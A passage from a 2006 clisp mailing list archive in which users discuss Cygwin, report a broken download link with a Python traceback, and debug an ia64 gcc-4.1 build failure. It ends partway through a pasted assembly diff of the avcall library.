1G3Hqp-0004Mg-3K for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 12:36:55 -0700 Received: from sharris by chlorine.gnostech.com with local (Exim 4.62) (envelope-from ) id J2O15E-0001RW-J3 for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 12:36:50 -0700 From: "Steven E. Harris" To: clisp-list@lists.sourceforge.net Organization: SEH Labs References: Mail-Followup-To: clisp-list@lists.sourceforge.net Date: Wed, 19 Jul 2006 12:36:50 -0700 In-Reply-To: (Sam Steingold's message of "Wed, 19 Jul 2006 14:06:51 -0400") Message-ID: User-Agent: Gnus/5.110006 (No Gnus v0.6) XEmacs/21.4.13 (cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: Re: [clisp-list] any cygwin users here? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 19:36:55 -0000 Sam Steingold writes: > I cannot send this message to a cygwin list, it is rejected as spam. > after 9 attempts, I gave up. I've had the same problem with that list a couple of years ago, and saw another person suffering similarly last week.¹ The list managers are unforgivable self-righteous on these matters. But yes, you do have a Cygwin-related audience here. Footnotes: ¹ http://thread.gmane.org/gmane.os.cygwin/79786 -- Steven E. Harris From Jeglum@AUX.UWM.EDU Wed Jul 19 13:51:44 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3J1E-0007Ww-8U for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 13:51:44 -0700 Received: from aux.uwm.edu ([129.89.28.15]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3J1C-0004Al-U0 for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 13:51:44 -0700 Received: by aux.uwm.edu with Internet Mail Service (5.5.2657.72) id ; Wed, 19 Jul 2006 15:51:41 -0500 Message-ID: <292B2D5F863ED611BB8B00080210895504BCB666@aux.uwm.edu> From: Kelly Jeglum To: "'Steven E. Harris'" , "'clisp-list@lists.sourceforge.net'" Date: Wed, 19 Jul 2006 15:51:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] any cygwin users here? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 20:51:44 -0000 I'm also a Cygwin user - an extreme novice though. Learning a lot about building clisp on cygwin by the emails sent back = and forth. Kelly Jeglum -----Original Message----- From: Steven E. Harris [mailto:seh@panix.com]=20 Sent: Wednesday, July 19, 2006 2:37 PM To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] any cygwin users here? Sam Steingold writes: > I cannot send this message to a cygwin list, it is rejected as spam. > after 9 attempts, I gave up. I've had the same problem with that list a couple of years ago, and saw another person suffering similarly last week.=B9 The list managers are unforgivable self-righteous on these matters. But yes, you do have a Cygwin-related audience here. Footnotes:=20 =B9 http://thread.gmane.org/gmane.os.cygwin/79786 -- Steven E. Harris ------------------------------------------------------------------------= - Take Surveys. Earn Cash. Influence the Future of IT Join = SourceForge.net's Techsay panel and you'll get the chance to share your opinions on IT & business topics through brief surveys -- and earn cash http://www.techsay.com/default.php?page=3Djoin.php&p=3Dsourceforge&CID=3D= DEVDEV _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From lin8080@freenet.de Thu Jul 20 09:02:14 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3ayc-0006B0-3K for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 09:02:14 -0700 Received: from mout1.freenet.de ([194.97.50.132]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G3ayZ-00035X-7n for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 09:02:14 -0700 Received: from [194.97.55.147] (helo=mx4.freenet.de) by mout1.freenet.de with esmtpa (Exim 4.61) (envelope-from ) id 1G3ayQ-0004uv-PD for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 18:02:02 +0200 Received: from efc5d.e.pppool.de ([194.97.252.93] helo=freenet.de) by mx4.freenet.de with esmtpa (ID lin8080@freenet.de) (Exim 4.62 #2) id 1G3ayP-0003wQ-H3 for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 18:02:02 +0200 Message-ID: <44BFA869.8D1506FA@freenet.de> Date: Thu, 20 Jul 2006 17:59:37 +0200 From: lin8080 X-Mailer: Mozilla 4.73 [de]C-CCK-MCD CSO 2.0 (Win98; U) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] reporting link-problem X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Jul 2006 16:02:14 -0000 Hallo What happened: surfing to clisp.cons.org click on the tp-button named: Current version: 2.39 (2006-07-16) (the one in the big box) getting this: (copy&paste): An Exception Has Occurred Python Traceback Traceback (most recent call last): File "/usr/local/viewvc-1.0.0.sf/lib/viewvc.py", line 3642, in main request.run_viewvc() File "/usr/local/viewvc-1.0.0.sf/lib/viewvc.py", line 403, in run_viewvc self.view_func(self) File "/usr/local/viewvc-1.0.0.sf/lib/viewvc.py", line 2151, in view_checkout fp, revision = request.repos.openfile(path, rev) File "/usr/local/viewvc-1.0.0.sf/lib/vclib/bincvs/__init__.py", line 134, in openfile filename, revision = _parse_co_header(fp) File "/usr/local/viewvc-1.0.0.sf/lib/vclib/bincvs/__init__.py", line 549, in _parse_co_header raise COMalformedOutput, "Unable to find revision in co output stream" COMalformedOutput: Unable to find revision in co output stream -----------end-reporting-------- System is: win98, netscape 4.75, penti500, 256 RAM, <--netPC. Thank you very much for version 2.39 stefan From sds@podval.org Thu Jul 20 09:26:07 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3bLj-0008Ov-LU for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 09:26:07 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3bLh-0008BC-0V for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 09:26:07 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AE96E5B00BE; Thu, 20 Jul 2006 12:25:58 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 75645368087; Thu, 20 Jul 2006 12:25:57 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6KGPvpU026844; Thu, 20 Jul 2006 12:25:57 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6KGPujj026843; Thu, 20 Jul 2006 12:25:56 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, lin8080 Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <44BFA869.8D1506FA@freenet.de> (lin's message of "Thu, 20 Jul 2006 17:59:37 +0200") References: <44BFA869.8D1506FA@freenet.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, lin8080 Date: Thu, 20 Jul 2006 12:25:56 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] reporting link-problem X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Jul 2006 16:26:08 -0000 > * lin8080 [2006-07-20 17:59:37 +0200]: > > click on the tp-button named: Current version: 2.39 (2006-07-16) > Python Traceback thanks, fixed, should work tomorrow (or today if you use the gnu mirror) -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://truepeace.org http://thereligionofpeace.com http://jihadwatch.org http://openvotingconsortium.org http://mideasttruth.com http://pmw.org.il Perl: all stupidities of UNIX in one. From werner@suse.de Fri Jul 21 03:13:40 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3s0q-0006fW-Le for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 03:13:40 -0700 Received: from ns1.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G3s0p-0000fK-7A for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 03:13:40 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 14856F89C; Fri, 21 Jul 2006 12:13:34 +0200 (CEST) Date: Fri, 21 Jul 2006 12:13:29 +0200 From: "Dr. Werner Fink" To: Sam Steingold Message-ID: <20060721101329.GA15997@wotan.suse.de> Mail-Followup-To: Sam Steingold , clisp-list@lists.sourceforge.net References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060719155623.GA23184@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Any news about bug 1506857 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Jul 2006 10:13:40 -0000 On Wed, Jul 19, 2006 at 12:32:52PM -0400, Sam Steingold wrote: > > * Dr. Werner Fink [2006-07-19 17:56:23 +0200]: > > > > On Thu, Jul 13, 2006 at 01:53:03PM +0200, Dr. Werner Fink wrote: > >> > >> are there any news about bug 1506857 on sourceforge.net > >> http://sourceforge.net/tracker/index.php?func=detail&aid=1506857&group_id=1355&atid=101355 > > > > clisp 2.39 does _not_ fix that issue. > > Peter Van Eynde said that recompiling with adding -O0 to the CFLAGS and > removing the -O option makes the build work. > do you concur? Just tried that, even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer gcc does not help (without this patch the minitests check fails). Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@podval.org Fri Jul 21 06:23:20 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3uyO-00064f-Mm for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 06:23:20 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3uyN-0003MP-4b for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 06:23:20 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A53216A100B2; Fri, 21 Jul 2006 09:22:58 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 7BF8D3680CB; Fri, 21 Jul 2006 09:22:57 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6LDMvj0013845; Fri, 21 Jul 2006 09:22:57 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6LDMunU013844; Fri, 21 Jul 2006 09:22:56 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060721101329.GA15997@wotan.suse.de> (Werner Fink's message of "Fri, 21 Jul 2006 12:13:29 +0200") References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060719155623.GA23184@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" , pvaneynd@users.sf.net Date: Fri, 21 Jul 2006 09:22:56 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: pvaneynd@users.sourceforge.net Subject: Re: [clisp-list] Any news about bug 1506857 (clisp w/ gcc-4.1 on ia64) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Jul 2006 13:23:20 -0000 > * Dr. Werner Fink [2006-07-21 12:13:29 +0200]: > > On Wed, Jul 19, 2006 at 12:32:52PM -0400, Sam Steingold wrote: >> > * Dr. Werner Fink [2006-07-19 17:56:23 +0200]: >> > >> > On Thu, Jul 13, 2006 at 01:53:03PM +0200, Dr. Werner Fink wrote: >> >> >> >> are there any news about bug 1506857 on sourceforge.net >> >> http://sourceforge.net/tracker/index.php?func=detail&aid=1506857&group_id=1355&atid=101355 >> > >> > clisp 2.39 does _not_ fix that issue. >> >> Peter Van Eynde said that recompiling with adding -O0 to the CFLAGS and >> removing the -O option makes the build work. >> do you concur? > > Just tried that, Peter, doest 2.39 work for you? > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer gcc > does not help (without this patch the minitests check fails). what's that patch? -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://palestinefacts.org http://mideasttruth.com http://dhimmi.com http://jihadwatch.org http://ffii.org http://memri.org http://truepeace.org Incorrect time synchronization. From werner@suse.de Fri Jul 21 06:27:25 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3v2K-0006PO-Q5 for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 06:27:24 -0700 Received: from mx1.suse.de ([195.135.220.2]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G3v2H-0004HP-6O for clisp-list@lists.sourceforge.net; Fri, 21 Jul 2006 06:27:24 -0700 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 8A057EFF6; Fri, 21 Jul 2006 15:27:15 +0200 (CEST) Date: Fri, 21 Jul 2006 15:27:15 +0200 From: "Dr. Werner Fink" To: Sam Steingold Message-ID: <20060721132715.GA6346@wotan.suse.de> Mail-Followup-To: Sam Steingold , clisp-list@lists.sourceforge.net, pvaneynd@users.sf.net References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060719155623.GA23184@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: pvaneynd@users.sf.net, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Any news about bug 1506857 (clisp w/ gcc-4.1 on ia64) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Jul 2006 13:27:25 -0000 On Fri, Jul 21, 2006 at 09:22:56AM -0400, Sam Steingold wrote: > > > > Just tried that, This is the last two lines I see ./foo -x "(setq zz 10) (saveinitmem \"foo\")" ./foo: initialization file `/usr/src/packages/BUILD/clisp-2.39/ia64-suse-linux/foo' was not created by this version of CLISP runtime and I've set -O0 by hand as last option of the gcc command line. > > Peter, doest 2.39 work for you? > > > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer gcc > > does not help (without this patch the minitests check fails). > > what's that patch? Let's see: ---------------------------* snip *------------------------------------- --- ffcall/avcall/avcall-ia64.s +++ ffcall/avcall/avcall-ia64.s 2006-07-19 17:19:49.000000000 +0200 @@ -1,739 +1,1784 @@ .file "avcall-ia64.c" - .version "01.01" - .global __divdi3# -.text + .pred.safe_across_calls p1-p5,p16-p63 + .text .align 16 .global __builtin_avcall# .proc __builtin_avcall# __builtin_avcall: - alloc r37 = ar.pfs, 1, 5, 8, 0 - mov r34 = r32 - adds r12 = -16, r12 - mov r33 = r1 + .prologue 14, 33 + .save ar.pfs, r34 + alloc r34 = ar.pfs, 1, 4, 8, 0 + .vframe r35 + mov r35 = r12 + adds r12 = -48, r12 + mov r36 = r1 + .save rp, r33 + mov r33 = b0 + .body ;; - adds r15 = 40, r34 + adds r14 = -32, r35 + ;; + st8 [r14] = r32 + adds r15 = -24, r35 adds r12 = -2048, r12 - mov r36 = b0 + ;; + adds r14 = 16, r12 + ;; + st8 [r15] = r14 + adds r16 = -16, r35 + adds r15 = -32, r35 ;; ld8 r14 = [r15] - adds r35 = 16, r12 - addl r39 = 8, r0 ;; - sub r14 = r14, r34 + adds r14 = 40, r14 ;; - adds r38 = -120, r14 - br.call.sptk.many b0 = __divdi3# ;; - adds r15 = 48, r34 - mov r1 = r33 - addl r39 = 8, r0 + ld8 r15 = [r14] + adds r17 = -32, r35 ;; - ld8 r14 = [r15] - sxt4 r33 = r8 + ld8 r14 = [r17] ;; - sub r14 = r14, r34 + sub r14 = r15, r14 ;; - adds r38 = -56, r14 - br.call.sptk.many b0 = __divdi3# ;; - addl r18 = 8, r0 - sxt4 r17 = r8 + adds r14 = -120, r14 ;; - cmp.gt p6, p7 = r33, r18 - (p7) br.cond.dpnt .L97 - adds r23 = 120, r34 + shr r14 = r14, 3 ;; - mov r19 = r23 -.L6: - shl r14 = r18, 3 + st4 [r16] = r14 + adds r16 = -12, r35 + adds r23 = -32, r35 ;; - add r16 = r19, r14 - adds r18 = 1, r18 - add r14 = r35, r14 - ;; - ld8 r15 = [r16] - cmp.gt p6, p7 = r33, r18 - adds r14 = -64, r14 + ld8 r14 = [r23] ;; - st8 [r14] = r15 - (p6) br.cond.dptk .L6 - br .L96 -.L97: - adds r23 = 120, r34 -.L96: - adds r33 = 24, r34 + adds r14 = 48, r14 ;; - ld4 r14 = [r33] + ld8 r15 = [r14] + adds r17 = -32, r35 ;; - cmp4.ne p6, p7 = 16, r14 - (p6) br.cond.dptk .L8 - adds r14 = 16, r34 + ld8 r14 = [r17] ;; - ld8 r8 = [r14] -.L8: - cmp4.ge p6, p7 = 0, r17 - (p6) br.cond.dptk .L9 - adds r14 = 56, r34 + sub r14 = r15, r14 ;; - cmp4.ge p6, p7 = 1, r17 - ldfd f8 = [r14] - (p6) br.cond.dptk .L9 - adds r14 = 64, r34 + adds r14 = -56, r14 ;; - cmp4.ge p6, p7 = 2, r17 - ldfd f9 = [r14] - (p6) br.cond.dptk .L9 - adds r14 = 72, r34 + shr r14 = r14, 3 ;; - cmp4.ge p6, p7 = 3, r17 - ldfd f10 = [r14] - (p6) br.cond.dptk .L9 - adds r14 = 80, r34 + st4 [r16] = r14 + adds r15 = -8, r35 + addl r14 = 8, r0 ;; - cmp4.ge p6, p7 = 4, r17 - ldfd f11 = [r14] - (p6) br.cond.dptk .L9 - adds r14 = 88, r34 + st8 [r15] = r14 +.L2: + adds r16 = -8, r35 + adds r14 = -16, r35 ;; - cmp4.ge p6, p7 = 5, r17 - ldfd f12 = [r14] - (p6) br.cond.dptk .L9 - adds r14 = 96, r34 + ld4 r14 = [r14] ;; - cmp4.ge p6, p7 = 6, r17 - ldfd f13 = [r14] - (p6) br.cond.dptk .L9 - adds r14 = 104, r34 + sxt4 r15 = r14 + ld8 r14 = [r16] ;; - cmp4.ge p6, p7 = 7, r17 - ldfd f14 = [r14] - (p6) br.cond.dptk .L9 - adds r14 = 112, r34 + cmp.gt p6, p7 = r15, r14 + (p6) br.cond.dptk .L5 + br .L3 ;; - ldfd f15 = [r14] -.L9: - ld4 r14 = [r33] +.L5: + adds r14 = -8, r35 ;; - cmp4.ne p6, p7 = 13, r14 - (p6) br.cond.dptk .L17 - ld8 r21 = [r34] - adds r14 = 144, r34 - adds r15 = 152, r34 - ;; - ld8 r22 = [r21], 8 - adds r19 = 128, r34 - adds r20 = 136, r34 - adds r16 = 160, r34 - adds r17 = 168, r34 - adds r18 = 176, r34 - ld8 r41 = [r14] - ld8 r42 = [r15] - ld8 r38 = [r23] + ld8 r14 = [r14] ;; - ld8 r39 = [r19] - ld8 r40 = [r20] - ld8 r43 = [r16] - ld8 r44 = [r17] - ld8 r45 = [r18] - ld8 r1 = [r21] - mov b6 = r22 + shladd r15 = r14, 3, r0 + adds r14 = -24, r35 ;; - br.call.sptk.many b0 = b6 ;; - adds r14 = 16, r34 + ld8 r14 = [r14] ;; - ld8 r15 = [r14] + add r14 = r15, r14 ;; - stfs [r15] = f8 - br .L18 -.L17: - cmp4.ne p6, p7 = 14, r14 - (p6) br.cond.dptk .L19 - ld8 r21 = [r34] - adds r14 = 144, r34 - adds r15 = 152, r34 - ;; - ld8 r22 = [r21], 8 - adds r19 = 128, r34 - adds r20 = 136, r34 - adds r16 = 160, r34 - adds r17 = 168, r34 - adds r18 = 176, r34 - ld8 r41 = [r14] - ld8 r42 = [r15] - ld8 r38 = [r23] + adds r16 = -64, r14 + adds r23 = -32, r35 ;; - ld8 r39 = [r19] - ld8 r40 = [r20] - ld8 r43 = [r16] - ld8 r44 = [r17] - ld8 r45 = [r18] - ld8 r1 = [r21] - mov b6 = r22 + ld8 r15 = [r23] + adds r14 = -8, r35 ;; - br.call.sptk.many b0 = b6 ;; - adds r14 = 16, r34 + ld8 r14 = [r14] + adds r15 = 8, r15 ;; - ld8 r15 = [r14] + shladd r14 = r14, 3, r0 ;; - stfd [r15] = f8 - br .L18 -.L19: - ld8 r21 = [r34] - adds r14 = 144, r34 - adds r18 = 176, r34 - ;; - ld8 r22 = [r21], 8 - adds r19 = 128, r34 - adds r20 = 136, r34 - adds r15 = 152, r34 - adds r16 = 160, r34 - adds r17 = 168, r34 - ld8 r41 = [r14] - ld8 r45 = [r18] - ld8 r38 = [r23] + add r14 = r14, r15 ;; - ld8 r39 = [r19] - ld8 r40 = [r20] - ld8 r42 = [r15] - ld8 r43 = [r16] - ld8 r44 = [r17] - ld8 r1 = [r21] - mov b6 = r22 - ;; - br.call.sptk.many b0 = b6 ;; - ld4 r14 = [r33] - mov r18 = r8 + adds r14 = 112, r14 ;; - cmp4.ne p6, p7 = 1, r14 - (p7) br.cond.dpnt .L18 + ld8 r14 = [r14] ;; - cmp4.ne p6, p7 = 0, r14 - (p7) br.cond.dpnt .L98 + st8 [r16] = r14 + adds r15 = -8, r35 + adds r14 = -8, r35 ;; - cmp4.ne p6, p7 = 2, r14 - (p7) br.cond.dpnt .L99 + ld8 r14 = [r14] ;; - cmp4.ne p6, p7 = 3, r14 - (p7) br.cond.dpnt .L99 + adds r14 = 1, r14 ;; - cmp4.ne p6, p7 = 4, r14 - (p6) br.cond.dptk .L29 -.L99: - adds r14 = 16, r34 + st8 [r15] = r14 + br .L2 ;; - ld8 r15 = [r14] +.L3: + adds r15 = -32, r35 ;; - st1 [r15] = r18 - br .L18 -.L29: - cmp4.ne p6, p7 = 5, r14 - (p7) br.cond.dpnt .L100 + ld8 r14 = [r15] ;; - cmp4.ne p6, p7 = 6, r14 - (p6) br.cond.dptk .L33 -.L100: - adds r14 = 16, r34 + adds r14 = 24, r14 ;; - ld8 r15 = [r14] + ld4 r14 = [r14] ;; - st2 [r15] = r18 - br .L18 -.L33: - cmp4.ne p6, p7 = 7, r14 - (p7) br.cond.dpnt .L101 + cmp4.ne p6, p7 = 16, r14 + (p6) br.cond.dptk .L6 + adds r16 = -32, r35 ;; - cmp4.ne p6, p7 = 8, r14 - (p6) br.cond.dptk .L37 -.L101: - adds r14 = 16, r34 + ld8 r14 = [r16] ;; - ld8 r15 = [r14] + adds r14 = 16, r14 ;; - st4 [r15] = r18 - br .L18 -.L37: - mov r15 = r14 + ld8 r8 = [r14] +.L6: + adds r14 = -12, r35 ;; - cmp4.eq p6, p7 = 9, r15 - (p6) br.cond.dptk .L98 + ld4 r14 = [r14] ;; - cmp4.eq p6, p7 = 11, r15 - (p6) br.cond.dptk .L98 + cmp4.ge p6, p7 = 0, r14 + (p6) br.cond.dptk .L7 + adds r17 = -32, r35 ;; - cmp4.eq p6, p7 = 10, r15 - (p6) br.cond.dptk .L98 + ld8 r14 = [r17] ;; - cmp4.eq p6, p7 = 12, r15 - (p6) br.cond.dptk .L98 + adds r14 = 56, r14 ;; - cmp4.ne p6, p7 = 15, r15 - (p6) br.cond.dptk .L45 -.L98: - adds r14 = 16, r34 + ldfd f8 = [r14] + adds r14 = -12, r35 ;; - ld8 r15 = [r14] + ld4 r14 = [r14] ;; - st8 [r15] = r18 - br .L18 -.L45: - cmp4.ne p6, p7 = 16, r14 - (p6) br.cond.dptk .L18 - adds r15 = 8, r34 + cmp4.ge p6, p7 = 1, r14 + (p6) br.cond.dptk .L7 + adds r23 = -32, r35 ;; - ld4 r14 = [r15] + ld8 r14 = [r23] ;; - and r14 = 1, r14 + adds r14 = 64, r14 ;; - cmp4.eq p6, p7 = 0, r14 - (p6) br.cond.dptk .L48 - adds r14 = 32, r34 + ldfd f9 = [r14] + adds r14 = -12, r35 ;; - ld8 r14 = [r14] + ld4 r14 = [r14] ;; - cmp.ne p6, p7 = 1, r14 - (p6) br.cond.dptk .L49 - adds r14 = 16, r34 - ld1 r16 = [r18] + cmp4.ge p6, p7 = 2, r14 + (p6) br.cond.dptk .L7 + adds r15 = -32, r35 ;; - ld8 r15 = [r14] + ld8 r14 = [r15] ;; - st1 [r15] = r16 - br .L18 -.L49: - cmp.ne p6, p7 = 2, r14 - (p6) br.cond.dptk .L51 - adds r14 = 16, r34 - ld2 r16 = [r18] + adds r14 = 72, r14 ;; - ld8 r15 = [r14] + ldfd f10 = [r14] + adds r14 = -12, r35 ;; - st2 [r15] = r16 - br .L18 -.L51: - cmp.ne p6, p7 = 4, r14 - (p6) br.cond.dptk .L53 - adds r14 = 16, r34 - ld4 r16 = [r18] + ld4 r14 = [r14] ;; - ld8 r15 = [r14] + cmp4.ge p6, p7 = 3, r14 + (p6) br.cond.dptk .L7 + adds r16 = -32, r35 ;; - st4 [r15] = r16 - br .L18 -.L53: - cmp.ne p6, p7 = 8, r14 - (p6) br.cond.dptk .L55 - adds r14 = 16, r34 - ld8 r16 = [r18] + ld8 r14 = [r16] ;; - ld8 r15 = [r14] + adds r14 = 80, r14 ;; - st8 [r15] = r16 - br .L18 -.L55: - adds r14 = 7, r14 + ldfd f11 = [r14] + adds r14 = -12, r35 ;; - shr.u r14 = r14, 3 